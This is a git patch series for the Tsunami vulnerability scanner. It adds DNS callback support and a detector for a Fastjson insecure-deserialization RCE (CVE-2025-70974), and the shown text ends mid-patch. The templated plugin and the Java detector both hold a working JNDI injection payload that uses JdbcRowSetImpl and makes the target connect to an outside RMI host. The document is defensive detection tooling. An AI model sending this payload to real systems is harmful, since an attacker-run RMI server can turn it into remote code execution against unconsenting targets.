From 29549326bb71657b7f9488ad11ae38e0e4a7be2a Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 20 Mar 2026 02:46:20 -0400 Subject: [PATCH 1/9] new templated variables --- .../proto/templated_plugin.proto | 1 + .../templateddetector/Environment.java | 3 ++ .../templateddetector/TemplatedDetector.java | 2 + .../templateddetector/EnvironmentTest.java | 37 +++++++++++++++++++ .../TemplatedDetectorTest.java | 4 ++ 5 files changed, 47 insertions(+) diff --git a/templated/templateddetector/proto/templated_plugin.proto b/templated/templateddetector/proto/templated_plugin.proto index 98077cb7b..a2cb2ff41 100644 --- a/templated/templateddetector/proto/templated_plugin.proto +++ b/templated/templateddetector/proto/templated_plugin.proto @@ -44,6 +44,7 @@ message PluginWorkflow { enum Condition { CONDITION_UNSPECIFIED = 0; REQUIRES_CALLBACK_SERVER = 1; + REQUIRES_DNS_CALLBACK_SERVER = 2; } message Variable { diff --git a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/Environment.java b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/Environment.java index 3fba93559..6b9d2df6a 100644 --- a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/Environment.java +++ b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/Environment.java @@ -46,6 +46,9 @@ public void initializeFor( this.set("T_CBS_URI", tcsClient.getCallbackUri(secret)); this.set("T_CBS_ADDRESS", tcsClient.getCallbackAddress()); this.set("T_CBS_PORT", String.valueOf(tcsClient.getCallbackPort())); + if (tcsClient.isDnsCallback()) { + this.set("T_CBS_DNS", tcsClient.getCallbackDns(secret)); + } } } diff --git a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetector.java b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetector.java index 30d28d43f..c4f2c3420 100644 --- a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetector.java +++ b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetector.java @@ -108,6 +108,8 @@ private final boolean workflowMeetsConditions(PluginWorkflow workflow) { switch (workflow.getCondition()) { case REQUIRES_CALLBACK_SERVER: return tcsClient.isCallbackServerEnabled(); + case REQUIRES_DNS_CALLBACK_SERVER: + return tcsClient.isDnsCallbackServerEnabled(); default: return true; } diff --git a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java index 8150d751b..328c808bc 100644 --- a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java +++ b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java @@ -75,11 +75,46 @@ public void initializeWithCallback_setsEnvironment() { assertThat(env.get("T_NS_IP")).isEqualTo("127.0.0.1"); assertThat(env.get("T_CBS_URI")) .isEqualTo("http://1.2.3.4:1234/2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0"); + assertThat(env.get("T_CBS_DNS")).isNull(); assertThat(env.get("T_CBS_ADDRESS")).isEqualTo("1.2.3.4"); assertThat(env.get("T_CBS_PORT")).isEqualTo("1234"); assertThat(env.get("T_CBS_SECRET")).isEqualTo("ffffffffffffffff"); } + @Test + public void initializeWithDnsCallback_setsEnvironment() { + TcsClient tcsClient = new TcsClient("cb.tsunami", 1234, "http://polling/", httpClient); + + NetworkService networkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + NetworkEndpoint.newBuilder() + .setIpAddress(IpAddress.newBuilder().setAddress("127.0.0.1")) + .setHostname(Hostname.newBuilder().setName("hostname")) + .setType(NetworkEndpoint.Type.HOSTNAME_PORT) + .setPort(Port.newBuilder().setPortNumber(80))) + .setTransportProtocol(TransportProtocol.TCP) + .build(); + Environment env = new Environment(false, utcClock); + env.initializeFor(networkService, tcsClient, secretGenerator); + + assertThat(env.get("T_UTL_CURRENT_TIMESTAMP_MS")).isEqualTo("1577836800000"); + assertThat(env.get("T_NS_BASEURL")).isEqualTo("http://hostname:80/"); + assertThat(env.get("T_NS_PROTOCOL")).isEqualTo("TCP"); + assertThat(env.get("T_NS_HOSTNAME")).isEqualTo("hostname"); + assertThat(env.get("T_NS_PORT")).isEqualTo("80"); + assertThat(env.get("T_NS_IP")).isEqualTo("127.0.0.1"); + assertThat(env.get("T_CBS_URI")) + .isEqualTo( + "http://2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0" + + ".cb.tsunami:1234/2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0"); + assertThat(env.get("T_CBS_DNS")) + .isEqualTo("2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0.cb.tsunami"); + assertThat(env.get("T_CBS_ADDRESS")).isEqualTo("cb.tsunami"); + assertThat(env.get("T_CBS_PORT")).isEqualTo("1234"); + assertThat(env.get("T_CBS_SECRET")).isEqualTo("ffffffffffffffff"); + } + @Test public void initializeWithoutCallbackButWithSecrets_setsEnvironment() { TcsClient tcsClient = new TcsClient("", 0, "", httpClient); @@ -105,6 +140,7 @@ public void initializeWithoutCallbackButWithSecrets_setsEnvironment() { assertThat(env.get("T_NS_IP")).isEqualTo("127.0.0.1"); assertThat(env.get("T_CBS_SECRET")).isEqualTo("ffffffffffffffff"); assertThat(env.get("T_CBS_URI")).isNull(); + assertThat(env.get("T_CBS_DNS")).isNull(); assertThat(env.get("T_CBS_ADDRESS")).isNull(); assertThat(env.get("T_CBS_PORT")).isNull(); } @@ -134,6 +170,7 @@ public void initializeWithoutCallback_setsEnvironment() { assertThat(env.get("T_NS_IP")).isEqualTo("127.0.0.1"); assertThat(env.get("T_CBS_SECRET")).isNull(); assertThat(env.get("T_CBS_URI")).isNull(); + assertThat(env.get("T_CBS_DNS")).isNull(); assertThat(env.get("T_CBS_ADDRESS")).isNull(); assertThat(env.get("T_CBS_PORT")).isNull(); } diff --git a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorTest.java b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorTest.java index 0c5821f36..fced1a4df 100644 --- a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorTest.java +++ b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorTest.java @@ -163,6 +163,10 @@ public void detect_noEligibleWorkflow_returnsNoFindings() throws InterruptedExce PluginWorkflow.newBuilder() .addActions("action_returns_true") .setCondition(PluginWorkflow.Condition.REQUIRES_CALLBACK_SERVER)) + .addWorkflows( + PluginWorkflow.newBuilder() + .addActions("action_returns_true") + .setCondition(PluginWorkflow.Condition.REQUIRES_DNS_CALLBACK_SERVER)) .build(); var detector = setupDetector(proto); From 8059ac24a731ee8dff71434c242c26d4c49f4876 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 20 Mar 2026 02:52:52 -0400 Subject: [PATCH 2/9] fixed formatting --- .../plugins/detectors/templateddetector/EnvironmentTest.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java index 328c808bc..996c8e818 100644 --- a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java +++ b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java @@ -106,8 +106,8 @@ public void initializeWithDnsCallback_setsEnvironment() { assertThat(env.get("T_NS_IP")).isEqualTo("127.0.0.1"); assertThat(env.get("T_CBS_URI")) .isEqualTo( - "http://2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0" - + ".cb.tsunami:1234/2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0"); + "http://2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0" + + ".cb.tsunami:1234/2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0"); assertThat(env.get("T_CBS_DNS")) .isEqualTo("2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0.cb.tsunami"); assertThat(env.get("T_CBS_ADDRESS")).isEqualTo("cb.tsunami"); From cca9ba0cefa0b86fb91954145b6b40e9220ca173 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 23 Jan 2026 09:17:17 -0500 Subject: [PATCH 3/9] fastjson --- .../2025/Fastjson_CVE_2025_70974.textproto | 74 +++++++++++++++++++ .../Fastjson_CVE_2025_70974_test.textproto | 46 ++++++++++++ 2 files changed, 120 insertions(+) create mode 100644 templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto create mode 100644 templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto diff --git a/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto new file mode 100644 index 000000000..bb0c44305 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto @@ -0,0 +1,74 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "Fastjson_CVE_2025_70974" + author: "Robert Dick (robert@doyensec.com)" + version: "1.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "CVE-2025-70974" + } + severity: CRITICAL + title: "Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974)" + description: "Due to insecure deserialization in Alibaba's Fastjson, there is a JNDI injection allowing loading remote classes and ultimately Remote Code Execution." + recommendation: "" + related_id: { + publisher: "CVE" + value: "CVE-2025-70974" + } +} + +config: {} + +########### +# ACTIONS # +########### + +actions: { + name: "trigger_rmi" + http_request: { + method: POST + uri: "/" + headers: [ + { name: "Content-Type" value: "application/json" } + ] + data: "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://{{ T_CBS_ADDRESS }}:{{ T_CBS_PORT }}/NoObjectHere\",\"autoCommit\":true}}" + client_options: { + disable_follow_redirects: true + ignore_http_client_errors: true + } + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + + +############# +# WORKFLOWS # +############# + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + actions: [ + "trigger_rmi", + "sleep", + "check_callback_server_logs" + ] +} diff --git a/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto new file mode 100644 index 000000000..8606d37d5 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto @@ -0,0 +1,46 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "Fastjson_CVE_2025_70974" +} + +tests: { + name: "whenVulnerable_returnsTrue" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: "{}" + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 400 + body_content: "{ \"timestamp\":1769092268366, \"status\":400, \"error\":\"Bad Request\", \"exception\":\"org.springframework.http.converter.HttpMessageNotReadableException\", \"message\":\"JSON parse error: autoType is not support. com.sun.rowset.JdbcRowSetImpl; nested exception is com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl\", \"path\":\"/\"}" + } + ] + } +} From 6c930fd7534fc54681cf658e8763512fbbd457f5 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Sat, 24 Jan 2026 05:58:26 -0500 Subject: [PATCH 4/9] fixed url --- .../plugins/cve/2025/Fastjson_CVE_2025_70974.textproto | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto index bb0c44305..9dd208896 100644 --- a/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto +++ b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto @@ -41,7 +41,7 @@ actions: { headers: [ { name: "Content-Type" value: "application/json" } ] - data: "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://{{ T_CBS_ADDRESS }}:{{ T_CBS_PORT }}/NoObjectHere\",\"autoCommit\":true}}" + data: "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://{{ T_CBS_URI }}/NoObjectHere\",\"autoCommit\":true}}" client_options: { disable_follow_redirects: true ignore_http_client_errors: true From f32a386a5df5dc0f2601700a6c8ccbf8c2de4e25 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Sat, 24 Jan 2026 06:13:12 -0500 Subject: [PATCH 5/9] fixed description and recommendation --- .../plugins/cve/2025/Fastjson_CVE_2025_70974.textproto | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto index 9dd208896..d93db95c6 100644 --- a/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto +++ b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto @@ -19,8 +19,8 @@ finding: { } severity: CRITICAL title: "Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974)" - description: "Due to insecure deserialization in Alibaba's Fastjson, there is a JNDI injection allowing loading remote classes and ultimately Remote Code Execution." - recommendation: "" + description: "Due to insecure deserialization in Alibaba's Fastjson, there is a JNDI injection allowing loading remote classes and ultimately Remote Code Execution. This plugin detects the vulnerability using a DNS out of band callback server." + recommendation: "Update Fastjson to the latest version." related_id: { publisher: "CVE" value: "CVE-2025-70974" From c35a8cc7b602f41e16cbc6a56604f87a27fb86e0 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Tue, 27 Jan 2026 06:31:00 -0500 Subject: [PATCH 6/9] switched to Java version for DNS interaction due to templated limitation --- .../Fastjson_CVE_2025_70974/README.md | 24 ++ .../Fastjson_CVE_2025_70974/build.gradle | 41 +++ .../Fastjson_CVE_2025_70974/settings.gradle | 12 + .../AlibabaFastjsonCve202570974.java | 235 ++++++++++++++++++ ...baFastjsonCve202570974BootstrapModule.java | 28 +++ .../AlibabaFastjsonCve202570974Test.java | 189 ++++++++++++++ .../2025/Fastjson_CVE_2025_70974.textproto | 74 ------ .../Fastjson_CVE_2025_70974_test.textproto | 46 ---- 8 files changed, 529 insertions(+), 120 deletions(-) create mode 100644 doyensec/detectors/Fastjson_CVE_2025_70974/README.md create mode 100644 doyensec/detectors/Fastjson_CVE_2025_70974/build.gradle create mode 100644 doyensec/detectors/Fastjson_CVE_2025_70974/settings.gradle create mode 100644 doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974.java create mode 100644 doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974BootstrapModule.java create mode 100644 doyensec/detectors/Fastjson_CVE_2025_70974/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20190192/AlibabaFastjsonCve202570974Test.java delete mode 100644 templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto delete mode 100644 templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto diff --git a/doyensec/detectors/Fastjson_CVE_2025_70974/README.md b/doyensec/detectors/Fastjson_CVE_2025_70974/README.md new file mode 100644 index 000000000..4647a3050 --- /dev/null +++ b/doyensec/detectors/Fastjson_CVE_2025_70974/README.md @@ -0,0 +1,24 @@ +# Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974) + +## Description + +Fastjson before 1.2.48 contains an insecure deserialization vulnerability, which allows JNDI injection and Remote Code Execution. + +## Affected Versions + +- < 1.2.48 + +## References + +- [Vulhub](https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce) +- [NIST](https://nvd.nist.gov/vuln/detail/CVE-2025-70974) + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +The Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/doyensec/detectors/Fastjson_CVE_2025_70974/build.gradle b/doyensec/detectors/Fastjson_CVE_2025_70974/build.gradle new file mode 100644 index 000000000..9ad184396 --- /dev/null +++ b/doyensec/detectors/Fastjson_CVE_2025_70974/build.gradle @@ -0,0 +1,41 @@ +plugins { + id 'java-library' +} + +description = 'Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974)' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" +def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" + +dependencies { + implementation("com.google.tsunami:tsunami-common") { + version { branch = "${coreRepoBranch}" } + } + implementation("com.google.tsunami:tsunami-plugin") { + version { branch = "${coreRepoBranch}" } + } + implementation("com.google.tsunami:tsunami-proto") { + version { branch = "${coreRepoBranch}" } + } + + implementation 'org.jsoup:jsoup:1.9.2' + + testImplementation "com.google.inject:guice:6.0.0" + testImplementation "com.google.inject.extensions:guice-testlib:6.0.0" + testImplementation "com.google.truth:truth:1.4.4" + testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" + testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" + testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" + testImplementation "junit:junit:4.13.2" + testImplementation "org.mockito:mockito-core:5.18.0" +} diff --git a/doyensec/detectors/Fastjson_CVE_2025_70974/settings.gradle b/doyensec/detectors/Fastjson_CVE_2025_70974/settings.gradle new file mode 100644 index 000000000..e3553e36d --- /dev/null +++ b/doyensec/detectors/Fastjson_CVE_2025_70974/settings.gradle @@ -0,0 +1,12 @@ +rootProject.name = 'cve-2025-70974-alibaba-fastjson-insecure-deserialization-rce' + +def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" +def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" + +sourceControl { + gitRepository("${coreRepository}") { + producesModule("com.google.tsunami:tsunami-common") + producesModule("com.google.tsunami:tsunami-plugin") + producesModule("com.google.tsunami:tsunami-proto") + } +} diff --git a/doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974.java b/doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974.java new file mode 100644 index 000000000..d0611c053 --- /dev/null +++ b/doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974.java @@ -0,0 +1,235 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202570974; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.base.Verify.verify; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.gson.JsonObject; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.NotImplementedException; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Clock; +import java.time.Instant; +import javax.inject.Inject; + +/** A Tsunami plugin that detects CVE-2025-70974 in Alibaba's Fastjson. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974)", + version = "0.1", + description = + "Due to insecure deserialization in Alibaba's Fastjson, there is a JNDI injection allowing" + + " loading remote classes and ultimately Remote Code Execution.", + author = "Robert Dick (robert@doyensec.com)", + bootstrapModule = AlibabaFastjsonCve202570974BootstrapModule.class) +public final class AlibabaFastjsonCve202570974 implements VulnDetector { + @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "TSUNAMI_COMMUNITY"; + @VisibleForTesting static final String VULNERABILITY_REPORT_ID = "CVE-2025-70974"; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_TITLE = + "Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974)"; + + private static final String PAYLOAD_TEMPLATE = "rmi://HOST/obj"; + + static final String VULNERABILITY_REPORT_DESCRIPTION_BASIC = + "The scanner detected a vulnerable instance of Fastjson parsing the body of a request" + + " (CVE-2025-70974). The vulnerability can be exploited by sending an unauthenticated" + + " HTTP POST request containing a URL that points to a malicious Java RMI server. " + + " This can easily lead to Remote Code Execution."; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_DESCRIPTION_CALLBACK = + VULNERABILITY_REPORT_DESCRIPTION_BASIC + + "The vulnerability was confirmed via an out of band callback."; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_RECOMMENDATION = + "Update Fastjson to the latest version."; + + // This endpoint is not set, so the POST request goes to the web root in the current + // implementation. + // Fastjson is not a web service by itself, and it can parse JSON anywhere. + @VisibleForTesting static final String EXPLOIT_ENDPOINT = ""; + + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private final Clock utcClock; + private final HttpClient httpClient; + private final PayloadGenerator payloadGenerator; + private String core; + + @Inject + AlibabaFastjsonCve202570974( + @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { + this.utcClock = checkNotNull(utcClock); + this.httpClient = checkNotNull(httpClient); + this.payloadGenerator = checkNotNull(payloadGenerator); + this.core = ""; + } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2025-70974")) + .setSeverity(Severity.CRITICAL) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULNERABILITY_REPORT_DESCRIPTION_CALLBACK) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .build()); + } + + // Since Fastjson is a simple JSON parser, we test by sending a POST request to / with the JSON + // body. There is no easy way to fingerprint Fastjson since errors might be handled differently + // depending on the web server. + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log( + "Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974) starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + private String getJsonPayload(String payload) { + // Build the JSON object containing the malicious RMI instance + JsonObject a = new JsonObject(); + a.addProperty("@type", "java.lang.Class"); + a.addProperty("val", "com.sun.rowset.JdbcRowSetImpl"); + + JsonObject b = new JsonObject(); + b.addProperty("@type", "com.sun.rowset.JdbcRowSetImpl"); + b.addProperty("dataSourceName", payload); + b.addProperty("autoCommit", true); + + JsonObject jsonPayload = new JsonObject(); + jsonPayload.add("a", a); + jsonPayload.add("b", b); + + return jsonPayload.toString(); + } + + // Checks whether a given instance is vulnerable. + private boolean isServiceVulnerable(NetworkService networkService) { + + // Generate the payload for the callback server + PayloadGeneratorConfig config = + PayloadGeneratorConfig.newBuilder() + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF) + .setInterpretationEnvironment( + PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY) + .setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY) + .build(); + + String oobCallbackUrl = ""; + Payload payload = null; + + // Check if the callback server is available, fallback to response matching if not + try { + payload = this.payloadGenerator.generate(config); + // Use callback for RCE confirmation and raise severity on success + if (payload == null || !payload.getPayloadAttributes().getUsesCallbackServer()) { + logger.atWarning().log("Tsunami Callback Server not available"); + return false; + } else { + oobCallbackUrl = payload.getPayload(); + } + } catch (NotImplementedException e) { + return false; + } + + String rmiPayload = PAYLOAD_TEMPLATE.replace("HOST", oobCallbackUrl); + String jsonPayload = getJsonPayload(rmiPayload); + + // Send the malicious HTTP request + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + EXPLOIT_ENDPOINT; + logger.atInfo().log("Sending payload to '%s'", targetUri); + HttpRequest req = + HttpRequest.post(targetUri) + .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(jsonPayload)) + .build(); + + try { + this.httpClient.send(req, networkService); + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send payload to '%s'", targetUri); + } + // payload should never be null here as we should have already returned in that case + verify(payload != null); + if (payload.checkIfExecuted()) { + logger.atInfo().log("Vulnerability confirmed via Callback Server."); + return true; + } else { + logger.atInfo().log( + "Callback not received and response does not match vulnerable instance, instance is not" + + " vulnerable."); + return false; + } + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(this.getAdvisories().get(0)) + .build(); + } +} diff --git a/doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974BootstrapModule.java b/doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974BootstrapModule.java new file mode 100644 index 000000000..24b2f4911 --- /dev/null +++ b/doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974BootstrapModule.java @@ -0,0 +1,28 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202570974; + +import com.google.tsunami.plugin.PluginBootstrapModule; + +/** A Guice module that bootstraps the {@link AlibabaFastjsonCve202570974}. */ +public final class AlibabaFastjsonCve202570974BootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + registerPlugin(AlibabaFastjsonCve202570974.class); + } +} diff --git 